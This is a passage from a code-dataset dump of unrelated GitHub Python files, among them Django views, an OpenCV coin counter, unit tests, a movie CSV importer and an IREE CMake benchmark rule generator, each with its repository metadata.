v)\n except AttributeError:\n return []\n\n return (\n [x.__dict__ for x in query.limit(limit).offset(offset).all()]\n if limit > 1\n else query.limit(limit).offset(offset).first().__dict__\n )\n\n def add(self, elem) -> domain_names:\n try:\n d = self.cls(**elem.__dict__)\n self.db.add(d)\n except Exception as e:\n raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST)\n self.db.commit()\n\n def update(self, id: str, update_elem: domain_names) -> domain_names:\n elem = self.cls(id=id, **update_elem.__dict__)\n old = self.get(limit=1, offset=0, id=id)\n try:\n self.remove(old)\n self.add(elem)\n except Exception as e:\n raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST)\n self.db.commit()\n return elem\n\n def remove(self, elem) -> None:\n try:\n self.db.delete(elem)\n except Exception as e:\n raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST)\n self.db.commit()\n","repo_name":"Skeesh24/omiko-data","sub_path":"app/database/mysql/repository.py","file_name":"repository.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25531941716","text":"#!/usr/bin/env python\nimport sys\nimport json\nimport logging\nlogging.basicConfig(level=logging.INFO)\nlog = logging.getLogger()\n\ndata = sys.argv[1:]\nmerged_data = {'data': []}\n\nfor path, tag in zip(data[0::2], data[1::2]):\n with open(path, 'r') as handle:\n ldata = json.load(handle)\n for element in ldata['data']:\n element['tag'] = tag\n merged_data['data'].append(element)\n\njson.dump(merged_data, sys.stdout)\n","repo_name":"lecorguille/cargo-port","sub_path":"bin/merge_apis.py","file_name":"merge_apis.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"4002973258","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom PIL import Image\n\n# Create your models here.\nclass Profile(models.Model):\n YEAR_IN_SCHOOL_CHOICES = [\n ('S', 'Scan'),\n ('1', 'Phase 1'),\n ('2', 'Phase 2'),\n ('3', 'Phase 3'),\n ('F', 'Final'),\n]\n user = models.OneToOneField(User,on_delete=models.CASCADE)\n roles=models.CharField(max_length=10,choices=YEAR_IN_SCHOOL_CHOICES,default='Scan')\n image = models.ImageField(default='default.jpg',upload_to='profile_pics')\n \n def __str__(self):\n return f'{self.user.username} Profile '\n def save(self,*args,**kwargs):\n super().save(*args,**kwargs)\n\n img=Image.open(self.image.path)\n if img.height >300 or img.width >300:\n output_size=(300,300)\n img.thumbnail(output_size)\n img.save(self.image.path)\n","repo_name":"Jalees-Jahanzaib/Production","sub_path":"users/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"74273206774","text":"from django.shortcuts import render,get_object_or_404,redirect\nfrom mainapp.models import table\nfrom .models import Conversation\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import ConversationMessageForm\nfrom django.http import JsonResponse\nfrom django.core import serializers\n# Create your views here.\n@login_required\ndef new_conversation(request,user_id):\n #get user and check for same user and add users and send message which we get from loaded form and we dont commit cause we fill foreign keys fields in db\n user = get_object_or_404(User,id=user_id)\n\n if user == request.user:\n return redirect(\"profile\",request.user.id)\n# conversations = Conversation.objects.filter(members__in=[request.user,user])\n\n# if conversations:\n# return redirect(\"conversation:detail\",pk=conversations.first().id)\n \n if request.method == \"POST\":\n form = ConversationMessageForm(request.POST)\n if form.is_valid():\n conversation = Conversation.objects.create()\n conversation.members.add(request.user)\n conversation.members.add(user)\n conversation.save()\n conversation_message = form.save(commit=False)\n conversation_message.conversation = conversation\n conversation_message.created_by = request.user\n conversation_message.save()\n last_chat =Conversation.objects.filter(members__in=[request.user.id]).order_by(\"-id\").first()\n return redirect('conversation:detail',last_chat.id)\n else:\n form = ConversationMessageForm()\n \n return render(request,'new.html',{\n 'form':form\n })\n@login_required\n#list of convs\ndef inbox(request):\n from mainapp .models import Profile\n get_Profile = Profile.objects.get(user=request.user)\n get_Profile.in_queue = False\n get_Profile.save()\n conversations = Conversation.objects.filter(members__in=[request.user.id])\n \n return render(request,'inbox.html',{\n 'conversations':conversations\n })\n\n@login_required\n#getting messages and send message which we get from forms which was loaded\ndef detail(request,pk):\n conversation = Conversation.objects.filter(members__in=[request.user.id]).get(pk=pk)\n \n \n \n if request.method =='POST':\n form = ConversationMessageForm(request.POST)\n if form.is_valid():\n conversation_message = form.save(commit=False)\n conversation_message.conversation = conversation\n conversation_message.created_by = request.user\n conversation_message.save()\n\n conversation.save()\n \n return redirect('conversation:detail',pk=pk)\n else:\n \n form = ConversationMessageForm()\n \n\n return render(request,'detail_converse.html',{\n 'conversation':conversation,\n 'form':form\n })\ndef detail_ajax(request,conversation_id):\n conversation = Conversation.objects.get(id=conversation_id)\n conv = conversation.messages.all()\n conv_seri = serializers.serialize(\"json\",conv)\n return JsonResponse(conv_seri,safe=False)\n\n","repo_name":"Nicheye/leng_open_source","sub_path":"conversation/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3247,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"1424183146","text":"import unittest\nfrom datastorage.labelstorage import *\n\n\nclass TestLabels(unittest.TestCase):\n\n l = LabelManager('test_project')\n\n def setUp(self):\n self.l.create_tables()\n\n def tearDown(self):\n self.l._cur.execute('DROP TABLE labelType')\n self.l._cur.execute('DROP TABLE labelData')\n self.l._cur.execute('DROP TABLE fileMapping')\n\n def test_add_del_label_type(self):\n self.l.add_label_type('label1', \"red\", 'This is a test label') # add new label type with name 'label1'\n self.assertNotEqual(0, len(self.l.get_label_types())) # new label type should be in the table\n self.l.add_label(datetime.now(), datetime.now(), 'label1', 'sensor1') # create a label with the new type\n self.l.delete_label_type('label1')\n self.assertEqual(0, len(\n self.l._cur.execute('SELECT * FROM labelType').fetchall())) # label type should not be in the table\n self.assertEqual(0, len(\n self.l._cur.execute('SELECT * FROM labelData').fetchall())) # label should not be in the table\n\n def test_add_del_label(self):\n label_time = datetime.now()\n self.l.add_label(label_time, label_time, 'label1', 'sensor1') # add new label at time 1.5 to sensor 'sensor1'\n self.assertNotEqual(0, len(self.l.get_all_labels('sensor1'))) # new label should be in the table\n self.assertNotEqual(0, len(self.l.get_labels_date('sensor1', label_time.date())))\n self.assertNotEqual(0, len(self.l.get_labels_between_dates('sensor1', label_time, label_time)))\n self.l.delete_label(label_time, 'sensor1')\n self.assertEqual(0, len(self.l.get_all_labels('sensor1'))) # label should not be in the table\n self.assertEqual(0, len(self.l.get_labels_date('sensor1', label_time.date())))\n self.assertEqual(0, len(self.l.get_labels_between_dates('sensor1', label_time, label_time)))\n\n def test_update_label_type(self):\n label_time = datetime.now()\n self.l.add_label_type('label1', \"red\", 'This is a test label') # add new label type with name 'label1'\n self.l.add_label(label_time, label_time, 'label1', 'sensor1') # create a label with the new type\n self.assertEqual('label1', self.l._cur.execute('SELECT Name FROM labelType')\n .fetchone()[0]) # label type name should be 'label1'\n self.assertEqual(\"red\", self.l._cur.execute('SELECT Color FROM labelType')\n .fetchone()[0]) # label type color should be \"red\"\n self.assertEqual('This is a test label', self.l._cur.execute('SELECT Description FROM labelType')\n .fetchone()[0]) # label type description should be 'This is a test label'\n self.l.update_label_color('label1', \"blue\")\n self.assertEqual(\"blue\", self.l._cur.execute('SELECT Color FROM labelType')\n .fetchone()[0]) # label type color should now be \"blue\"\n self.l.update_label_description('label1', 'This is a changed description')\n self.assertEqual('This is a changed description', self.l._cur.execute('SELECT Description FROM labelType')\n .fetchone()[0]) # label type description should now be 'This is a changed description'\n self.l.update_label_name('label1', 'label2')\n self.assertEqual('label2', self.l._cur.execute('SELECT Name FROM labelType')\n .fetchone()[0]) # label type name should now be 'label2'\n self.assertEqual('label2', self.l._cur.execute('SELECT Label_name FROM labelData')\n .fetchone()[0]) # label created with the label type should also be named 'label2' now\n\n def test_file_mapping(self):\n date = datetime.now()\n self.l.add_file('file.txt', 'sensor', date)\n self.assertTrue(self.l.file_is_added('file.txt'))\n self.assertIn('file.txt', self.l.get_file_paths('sensor', date, date))\n self.assertIn('sensor', self.l.get_sensor_ids())\n","repo_name":"Semakon/Pppp_pipeline","sub_path":"test/datastorage/TestLabels.py","file_name":"TestLabels.py","file_ext":"py","file_size_in_byte":3991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24710488346","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\":Mod: __init__\n\n:Synopsis:\n\n:Author:\n servilla\n\n:Created:\n 3/16/18\n\"\"\"\n\nimport logging\nimport os\n\nimport daiquiri\n\ncwd = os.path.dirname(os.path.realpath(__file__))\nlogfile = cwd + '/soh.log'\ndaiquiri.setup(level=logging.WARN,\n outputs=(daiquiri.output.File(logfile), 'stdout',))\nlogger = daiquiri.getLogger('__init__.py: ' + __name__)\n\n\ndef main():\n return 0\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"PASTAplus/soh","sub_path":"src/soh/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33511463565","text":"import pickle\nimport os\n\nhigh_scores_filename = 'high_scores.dat'\n\nscores = []\n\n# first time you run this, \"high_scores.dat\" won't exist\n# so we need to check for its existence before we load\n# our \"database\"\nif os.path.exists(high_scores_filename):\n # \"with\" statements are very handy for opening files.\n with open(high_scores_filename,'rb') as rfp:\n scores = pickle.load(rfp)\n # Notice that there's no \"rfp.close()\"\n # ... the \"with\" clause calls close() automatically!\n\nfirst_name = input(\"Please enter your name:\")\nscore = input(\"Please enter your score:\")\n\nhigh_scores = first_name, score\nscores.append(high_scores)\n\n# Now we \"sync\" our database\nwith open(high_scores_filename,'wb') as wfp:\n pickle.dump(scores, wfp)\n\n# Re-load our database\nwith open(high_scores_filename,'rb') as rfp:\n scores = pickle.load(rfp)\n\nprint(scores)","repo_name":"matthewfeliciano/_PythonClass-IT-FDN-100-A","sub_path":"Module07/High_Scores.py","file_name":"High_Scores.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"3645205948","text":"import sys\nimport numpy as np\nimport cv2\n\n\n# 입력 이미지 불러오기\nimg_path = 'coin_custom.jpg'\n# 'coins1.jpg' 'coin_custom.jpg'\nsrc = cv2.imread(img_path)\n\nif src is None:\n print('Image open failed!')\n sys.exit()\n\ngray = cv2.cvtColor(src, cv2.COLOR_BGR2GRAY)\ncv2.imshow('gray', gray)\nblr = cv2.GaussianBlur(gray, (0, 0), 1) # 가우스블러 고주파노이즈 제거\ncv2.imshow('gausblr', blr)\n\n# 허프 변환 원 검출\n# 입력영상, HOUGH_GRADIENT or HOUGH_GRADIENT_ALT, 배열크기1, 원의 중심점 최소거리,\n# 임계값1,2 , 검출할 최소최대 반지름1,2)\ncircles = cv2.HoughCircles(blr, cv2.HOUGH_GRADIENT, 1, 50,\n param1=150, param2=40, minRadius=20, maxRadius=80)\n#print(circles)\n\n# 원 검출 결과 및 동전 금액 출력\nsum_of_money = 0\n# 깊은 복사\ndst = src.copy()\nif circles is not None:\n for i in range(circles.shape[1]):\n cx, cy, radius = circles[0][i]\n cv2.circle(dst, (cx, cy), radius, (0, 0, 255), 2, cv2.LINE_AA) # 원그리기\n\n # 동전 영역 부분 영상 추출\n x1 = int(cx - radius)\n y1 = int(cy - radius)\n x2 = int(cx + radius)\n y2 = int(cy + radius)\n radius = int(radius) # 반지름\n #print(\"radius : {}\".format(radius))\n\n crop = dst[y1:y2, x1:x2, :]\n ch, cw = crop.shape[:2]\n\n # 동전 영역에 대한 ROI 마스크 영상 생성\n mask = np.zeros((ch, cw), np.uint8)\n cv2.circle(mask, (cw//2, ch//2), radius, 255, -1)\n #cv2.imshow('mask', mask)\n\n # hue는 1바퀴 0~179\n # 동전 영역 Hue 색 성분을 +40 시프트하고, Hue 평균을 계산\n hsv = cv2.cvtColor(crop, cv2.COLOR_BGR2HSV)\n hue, _, _ = cv2.split(hsv)\n hue_shift = (hue + 40) % 180 # hue +40밝게 쉬프트\n #cv2.imshow('hue_shift',hue_shift)\n mean_of_hue = cv2.mean(hue_shift, mask)[0] # meanStdDev() 평균과 표준편차 계산\n # mean 매개변수\n # src\t결과를 Scalar_ 에 저장할 수 있도록 1~4개의 채널을 가져야 하는 입력 배열입니다 .\n # 평균\t출력 매개변수: 계산된 평균 값.\n # 표준 데브\t출력 매개변수: 계산된 표준 편차.\n # 마스크\t선택적 작업 마스크.\n \n #print(\"mean_of_hue : {}\".format(mean_of_hue))\n\n # hue 반지름\n # 10원 55 53 55.7 56.3\n # 50원 44.8 49.3 51.9,53.6\n # 100원 22.7 34.2 58.9 59.2\n # 500원 63.6 ,56.2 62.5, 62.5\n\n # radius 반지름크기 50이상은 500원, 사이 100,10원은 색상 hue값 구별, 45.5이하는 50원,\n # 색이 hue 평균40이하(흑백동) 40이상(주황10원)\n # radius > 50\n won = 500 # radius 54 hue 56\n if 45.5 < radius < 50: # 100won,10won\n if mean_of_hue < 40:\n won = 100\n else:\n won = 10\n elif radius <= 45.5: # 50won\n won = 50\n sum_of_money += won\n\n cv2.putText(crop, str(won), (20, 50), cv2.FONT_HERSHEY_SIMPLEX,\n 0.75, (255, 0, 0), 2, cv2.LINE_AA)\n\n# sum_of_money 변수에 있는값 글씨 쓰기\ncv2.putText(dst, str(sum_of_money) + ' won', (40, 80),\n cv2.FONT_HERSHEY_DUPLEX, 2, (255, 0, 0), 2, cv2.LINE_AA)\n\ncv2.imshow('src', src)\ncv2.imshow('dst', dst)\ncv2.waitKey()\n\ncv2.destroyAllWindows()\n","repo_name":"kanghc1230/lane_recognition","sub_path":"coin_count2.py","file_name":"coin_count2.py","file_ext":"py","file_size_in_byte":3415,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30233284397","text":"import os\n\nimport librosa\nimport numpy as np\nfrom pydub import AudioSegment\nfrom scipy.io import wavfile as wavfile\n\nfrom munging.file_methods import prefix_filename, find_filetype\n\n\ndef convert_wavelength_file(filepath, wavelength, replace=True):\n \"\"\"\n :param filepath: directory of file\n :param wavelength: new wavelength\n :param replace: whether to replace the file or make a file with prefix = new\n :return: prints out when the job is done\n \"\"\"\n\n # since this is a conversion, we have to use librosa's library which is slower than scipy\n if not replace:\n filepath = prefix_filename(filepath, 'new_')\n # check whether it needs to be converted or not using scipy wav, faster load time\n sample_rate, audio_array = wavfile.read(filepath)\n\n if (sample_rate != wavelength) or (audio_array.dtype != np.int16): # if not, then convert\n audio_array, sample_rate = librosa.load(filepath, sr=wavelength)\n maxv = np.iinfo(np.int16).max\n librosa.output.write_wav(filepath, (audio_array * maxv).astype(np.int16), sample_rate)\n print(\"The file\", '\"{}\"'.format(filepath), \"has been converted from\", sample_rate, \"to\", wavelength)\n\n\ndef convert_mp3_to_wav(filepath, replace=False):\n \"\"\"Converts mp3 to wav\"\"\"\n\n if find_filetype(filepath) != 'mp3':\n raise ValueError(\"This file isn't mp3\")\n sound = AudioSegment.from_mp3(filepath)\n # convert mp3 to wav in filepath\n filepath_new = filepath.replace(\"mp3\", \"wav\")\n\n sound.export(filepath_new, format=\"wav\")\n\n if replace:\n # just delete the old mp3 file\n os.remove(filepath)\n","repo_name":"liuyang1123/speech2text","sub_path":"munging/formatting.py","file_name":"formatting.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10035938473","text":"def get_index_for_word(word, index):\n # returns the index entry for a certain word, if it exists\n\n if index.get(word):\n return {i[1]: i[0] for i in index.get(word)}\n else:\n return\n\n\ndef print_index_for_word(word, index):\n # gets the index entry for the word if it exists, and prints the output in a pretty way\n\n result = get_index_for_word(word, index)\n if result:\n base = \"{:>5} | {}\"\n print()\n print(base.format(\"Count\", \"Address\"))\n print(\"-\" * 80)\n for page in result:\n print(base.format(result[page], page))\n print()\n else:\n print(\"No results found in index for {}\".format(word))\n return\n\n\ndef search(search_index, terms):\n # searches the index for pages containing all the search terms, rank by count on page\n\n index_terms = [get_index_for_word(term, search_index) for term in terms]\n search_results = []\n\n # seeing as we want an intersection, if any of them are empty return no results\n for term in index_terms:\n if term is None:\n return\n\n # multiply counts together to get index value, if it's not there multiply by 0 to remove the url\n for url in index_terms[0]:\n multiplier = index_terms[0][url]\n for term in index_terms[1:]:\n multiplier *= term.get(url, 0)\n\n if multiplier:\n search_results.append([url, multiplier])\n\n # if there's no intersection return nothing\n if not search_results:\n return\n\n # sort descending by index number and return\n search_results.sort(key=lambda x: x[1], reverse=True)\n\n return search_results\n\n\ndef print_search_results(index, terms):\n # get search results and print out the urls\n\n results = search(index, terms)\n\n if results:\n print(\"\\nSearch results:\")\n for result in results:\n print(\"{}\".format(result[0]))\n print(\"\")\n else:\n print(\"No results for search\")\n","repo_name":"ashleyoldershaw/all-roads-lead-to-rome","sub_path":"search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"38138632092","text":"from django.core.management.base import BaseCommand\nfrom django.conf import settings\nimport os\nimport csv\n\nfrom apps.movie.models import Movie, Genres, Keywords, Artist, MovieActors\n\n\nclass Command(BaseCommand):\n csv_data = os.path.join(settings.BASE_DIR, 'movie_metadata.csv')\n\n def has_value(self, value):\n if len(value) > 0:\n return value\n else:\n return 0\n\n def handle(self, *args, **kwargs):\n with open(self.csv_data, encoding=\"utf-8\") as csv_file:\n reader = csv.DictReader(csv_file)\n i = 0\n for row in reader:\n i += 1\n\n try:\n m = Movie.objects.get(movie_title=row['movie_title'])\n except Movie.DoesNotExist:\n m = None\n\n if m is None:\n movie = Movie.objects.create(\n movie_title=row['movie_title'],\n color=row['color'],\n num_critic_for_reviews=self.has_value(row['num_critic_for_reviews']),\n duration=self.has_value(row['duration']),\n gross=self.has_value(row['gross']),\n num_voted_users=self.has_value(row['num_voted_users']),\n cast_total_facebook_likes=self.has_value(row['cast_total_facebook_likes']),\n facenumber_in_poster=self.has_value(row['facenumber_in_poster']),\n movie_imdb_link=row['movie_imdb_link'],\n num_user_for_reviews=self.has_value(row['num_user_for_reviews']),\n language=row['language'],\n country=row['country'],\n content_rating=self.has_value(row['content_rating']),\n budget=self.has_value(row['budget']),\n title_year=self.has_value(row['title_year']),\n imdb_score=self.has_value(row['imdb_score']),\n aspect_ratio=self.has_value(row['aspect_ratio']),\n movie_facebook_likes=self.has_value(row['movie_facebook_likes'])\n\n # director_name=row['director_name'],\n # director_facebook_likes=self.has_value(row['director_facebook_likes']),\n # actor_1_name=row['actor_1_name'],\n # actor_1_facebook_likes=self.has_value(row['actor_1_facebook_likes']),\n # actor_2_name=row['actor_2_name'],\n # actor_2_facebook_likes=self.has_value(row['actor_2_facebook_likes']),\n # actor_3_name=row['actor_3_name'],\n # actor_3_facebook_likes=self.has_value(row['actor_3_facebook_likes']),\n\n )\n\n director, created = Artist.objects.get_or_create(\n name=row['director_name'],\n likes=row['director_facebook_likes'],\n role='d'\n )\n movie.director = director\n\n if row['actor_1_name']:\n actor, created = Artist.objects.get_or_create(\n # Important:\n # don't search by role because the Artist can\n # be as a director or an actor in a different movies\n # don't use facebook likes because it is his likes in the Movie ( not total likes )\n name=row['actor_1_name']\n )\n MovieActors.objects.create(\n artist=actor,\n movie=movie,\n likes=row['actor_1_facebook_likes']\n ).save()\n\n if row['actor_2_name']:\n actor, created = Artist.objects.get_or_create(\n name=row['actor_2_name']\n )\n MovieActors.objects.create(\n artist=actor,\n movie=movie,\n likes=row['actor_2_facebook_likes']\n ).save()\n\n if row['actor_3_name']:\n actor, created = Artist.objects.get_or_create(\n name=row['actor_3_name']\n )\n MovieActors.objects.create(\n artist=actor,\n movie=movie,\n likes=row['actor_3_facebook_likes']\n ).save()\n\n genres = row['genres'].split('|')\n for genre in genres:\n if len(genre) > 0:\n item, created = Genres.objects.get_or_create(name=genre)\n movie.genres.add(item)\n\n plot_keywords = row['plot_keywords'].split('|')\n for keyword in plot_keywords:\n if len(keyword) > 0:\n item, created = Keywords.objects.get_or_create(name=keyword)\n movie.plot_keywords.add(item)\n\n movie.save()\n","repo_name":"FiodorLaptev/movies","sub_path":"apps/movie/management/commands/import_movies.py","file_name":"import_movies.py","file_ext":"py","file_size_in_byte":5303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26660009355","text":"from dataclasses import dataclass\nfrom typing import List, Optional, Sequence\nimport os\nimport pathlib\nimport urllib.parse\n\nfrom e2e_test_framework.definitions import common_definitions, iree_definitions\nimport cmake_builder.rules\n\n# Archive extensions used to pack models.\nARCHIVE_FILE_EXTENSIONS = [\".tar\", \".gz\"]\n# CMake variable name to store IREE package name.\nPACKAGE_NAME_CMAKE_VARIABLE = \"_PACKAGE_NAME\"\n\n\n@dataclass\nclass ModelRule(object):\n target_name: str\n file_path: str\n cmake_rule: str\n\n\n@dataclass\nclass IreeModelImportRule(object):\n target_name: str\n model_id: str\n model_name: str\n output_file_path: str\n mlir_dialect_type: str\n cmake_rule: Optional[str]\n\n\n@dataclass\nclass IreeModuleCompileRule(object):\n target_name: str\n output_module_path: str\n cmake_rule: str\n\n\ndef _build_target_path(target_name: str):\n \"\"\"Returns the full target path by combining the variable of package name and\n the target name.\n \"\"\"\n return f\"${{{PACKAGE_NAME_CMAKE_VARIABLE}}}_{target_name}\"\n\n\nclass CommonRuleFactory(object):\n \"\"\"Generates common cmake rules.\"\"\"\n\n def __init__(self, model_artifacts_dir: str):\n \"\"\"Constructs a CommonRuleFactory.\n\n Args:\n model_artifacts_dir: root directory to store model files. Can contain\n CMake variable syntax in the path.\n \"\"\"\n self._model_artifacts_dir = model_artifacts_dir\n self._model_rules = {}\n\n def add_model_rule(self, model: common_definitions.Model) -> ModelRule:\n \"\"\"Adds a rule to fetch a model. Reuses the existing rule when possible.\"\"\"\n if model.id in self._model_rules:\n return self._model_rules[model.id]\n\n # Model target: <package_name>-model-<model_id>\n target_name = f\"model-{model.id}\"\n\n model_url = urllib.parse.urlparse(model.source_url)\n\n # Drop the archive extensions.\n file_exts = pathlib.PurePath(model_url.path).suffixes\n while len(file_exts) > 0 and file_exts[-1] in ARCHIVE_FILE_EXTENSIONS:\n file_exts.pop()\n model_ext = \"\".join(file_exts)\n\n # Model path: <model_artifacts_dir>/<model_id>_<model_name><model_ext>\n model_path = f\"{self._model_artifacts_dir}/{model.id}_{model.name}{model_ext}\"\n\n if model_url.scheme == \"https\":\n cmake_rule = (f'# Fetch the model from \"{model.source_url}\"\\n' +\n cmake_builder.rules.build_iree_fetch_artifact(\n target_name=target_name,\n source_url=model.source_url,\n output=model_path,\n unpack=True))\n else:\n raise ValueError(\"Unsupported model url: {model.source_url}.\")\n\n model_rule = ModelRule(target_name=target_name,\n file_path=model_path,\n cmake_rule=cmake_rule)\n\n self._model_rules[model.id] = model_rule\n return model_rule\n\n def generate_cmake_rules(self) -> List[str]:\n \"\"\"Dump all cmake rules in a correct order.\"\"\"\n return [rule.cmake_rule for rule in self._model_rules.values()]\n\n\nclass IreeRuleFactory(object):\n \"\"\"Generates IREE benchmark cmake rules.\"\"\"\n\n def __init__(self, iree_artifacts_dir):\n \"\"\"Constructs an IreeRuleFactory.\n\n Args:\n iree_artifacts_dir: root directory to store generated IREE artifacts. Can\n contain CMake variable syntax in the path.\n \"\"\"\n self._iree_artifacts_dir = iree_artifacts_dir\n self._import_model_rules = {}\n self._compile_module_rules = {}\n\n def add_import_model_rule(\n self,\n model_id: str,\n model_name: str,\n model_source_type: common_definitions.ModelSourceType,\n model_entry_function: str,\n source_model_rule: ModelRule,\n ) -> IreeModelImportRule:\n \"\"\"Adds a rule to fetch the model and import into MLIR. Reuses the rule when\n possible.\"\"\"\n\n if model_id in self._import_model_rules:\n return self._import_model_rules[model_id]\n\n # If the source model is MLIR, no import rule is needed.\n if model_source_type == common_definitions.ModelSourceType.EXPORTED_LINALG_MLIR:\n import_model_rule = IreeModelImportRule(\n target_name=source_model_rule.target_name,\n model_id=model_id,\n model_name=model_name,\n output_file_path=source_model_rule.file_path,\n mlir_dialect_type=\"linalg\",\n cmake_rule=None)\n self._import_model_rules[model_id] = import_model_rule\n return import_model_rule\n\n # Import target: <package_name>_iree-import-model-<model_id>\n target_name = f\"iree-import-model-{model_id}\"\n\n # Imported MLIR path: <iree_artifacts_dir>/<model_id>_<model_name>/<model_name>.mlir\n output_file_path = f\"{self._iree_artifacts_dir}/{model_id}_{model_name}/{model_name}.mlir\"\n\n if model_source_type == common_definitions.ModelSourceType.EXPORTED_TFLITE:\n cmake_rule = (\n f'# Import the TFLite model \"{source_model_rule.file_path}\"\\n' +\n cmake_builder.rules.build_iree_import_tflite_model(\n target_path=_build_target_path(target_name),\n source=source_model_rule.file_path,\n output_mlir_file=output_file_path))\n mlir_dialect_type = \"tosa\"\n elif model_source_type == common_definitions.ModelSourceType.EXPORTED_TF:\n cmake_rule = (\n f'# Import the Tensorflow model \"{source_model_rule.file_path}\"\\n' +\n cmake_builder.rules.build_iree_import_tf_model(\n target_path=_build_target_path(target_name),\n source=source_model_rule.file_path,\n entry_function=model_entry_function,\n output_mlir_file=output_file_path))\n mlir_dialect_type = \"mhlo\"\n else:\n raise ValueError(\n f\"Unsupported source type '{model_source_type}' of the model '{model_id}'.\"\n )\n\n cmake_builder.rules.build_add_dependencies(\n target=\"iree-benchmark-import-models\",\n deps=[_build_target_path(target_name)])\n\n import_model_rule = IreeModelImportRule(target_name=target_name,\n model_id=model_id,\n model_name=model_name,\n output_file_path=output_file_path,\n mlir_dialect_type=mlir_dialect_type,\n cmake_rule=cmake_rule)\n\n self._import_model_rules[model_id] = import_model_rule\n return import_model_rule\n\n def add_compile_module_rule(self,\n compile_config: iree_definitions.CompileConfig,\n model_import_rule: IreeModelImportRule):\n \"\"\"Adds a rule to compile a MLIR into a IREE module. Reuses the existing\n rule when possible.\"\"\"\n\n model_id = model_import_rule.model_id\n model_name = model_import_rule.model_name\n\n target_id = f\"{model_id}-{compile_config.id}\"\n if target_id in self._compile_module_rules:\n return self._compile_module_rules[target_id]\n\n # Module target: <package_name>_iree-module-<model_id>-<compile_config_id>\n target_name = f\"iree-module-{target_id}\"\n\n # Module path: <iree_artifacts_dir>/<model_id>_<model_name>/<compile_config_id>.vmfb\n output_path = os.path.join(self._iree_artifacts_dir,\n f\"{model_id}_{model_name}\",\n f\"{compile_config.id}.vmfb\")\n\n compile_flags = self._generate_iree_compile_flags(\n compile_config=compile_config,\n mlir_dialect_type=model_import_rule.mlir_dialect_type\n ) + compile_config.extra_flags\n\n cmake_rule = (f'# Compile the module \"{output_path}\"\\n' +\n cmake_builder.rules.build_iree_bytecode_module(\n target_name=target_name,\n src=model_import_rule.output_file_path,\n module_name=output_path,\n flags=compile_flags))\n cmake_rule += cmake_builder.rules.build_add_dependencies(\n target=\"iree-benchmark-suites\", deps=[_build_target_path(target_name)])\n compile_module_rule = IreeModuleCompileRule(target_name=target_name,\n output_module_path=output_path,\n cmake_rule=cmake_rule)\n\n # TODO(#10155): Dump the compile flags from iree_bytecode_module into a flagfile.\n\n self._compile_module_rules[target_id] = compile_module_rule\n return compile_module_rule\n\n def generate_cmake_rules(self) -> List[str]:\n \"\"\"Dump all cmake rules in a correct order.\"\"\"\n import_model_rules = [\n rule.cmake_rule for rule in self._import_model_rules.values()\n ]\n compile_module_rules = [\n rule.cmake_rule for rule in self._compile_module_rules.values()\n ]\n return import_model_rules + compile_module_rules\n\n def _generate_iree_compile_flags(\n self, compile_config: iree_definitions.CompileConfig,\n mlir_dialect_type: str) -> List[str]:\n if len(compile_config.compile_targets) != 1:\n raise ValueError(f\"Only one compile target is supported. Got:\"\n f\" {compile_config.compile_targets}\")\n\n compile_target = compile_config.compile_targets[0]\n flags = [\n f\"--iree-hal-target-backends={compile_target.target_backend.value}\",\n f\"--iree-input-type={mlir_dialect_type}\"\n ]\n flags.extend(self._generate_iree_compile_target_flags(compile_target))\n return flags\n\n def _generate_iree_compile_target_flags(\n self, target: iree_definitions.CompileTarget) -> List[str]:\n arch_info: common_definitions.ArchitectureInfo = target.target_architecture.value\n if arch_info.architecture == \"x86_64\":\n flags = [\n f\"--iree-llvm-target-triple=x86_64-unknown-{target.target_abi.value}\",\n f\"--iree-llvm-target-cpu={arch_info.microarchitecture.lower()}\"\n ]\n else:\n raise ValueError(f\"Unsupported architecture '{arch_info.architecture}'\")\n return flags\n\n\ndef _generate_iree_rules(\n common_rule_factory: CommonRuleFactory, iree_artifacts_dir: str,\n module_generation_configs: Sequence[iree_definitions.ModuleGenerationConfig]\n) -> List[str]:\n iree_rule_factory = IreeRuleFactory(iree_artifacts_dir)\n for module_generation_config in module_generation_configs:\n model = module_generation_config.model\n compile_config = module_generation_config.compile_config\n\n source_model_rule = common_rule_factory.add_model_rule(model)\n import_rule = iree_rule_factory.add_import_model_rule(\n model_id=model.id,\n model_name=model.name,\n model_source_type=model.source_type,\n model_entry_function=model.entry_function,\n source_model_rule=source_model_rule)\n iree_rule_factory.add_compile_module_rule(compile_config=compile_config,\n model_import_rule=import_rule)\n\n return iree_rule_factory.generate_cmake_rules()\n\n\ndef generate_rules(\n model_artifacts_dir: str, iree_artifacts_dir: str,\n iree_module_generation_configs: Sequence[\n iree_definitions.ModuleGenerationConfig]\n) -> List[str]:\n \"\"\"Generates cmake rules to build 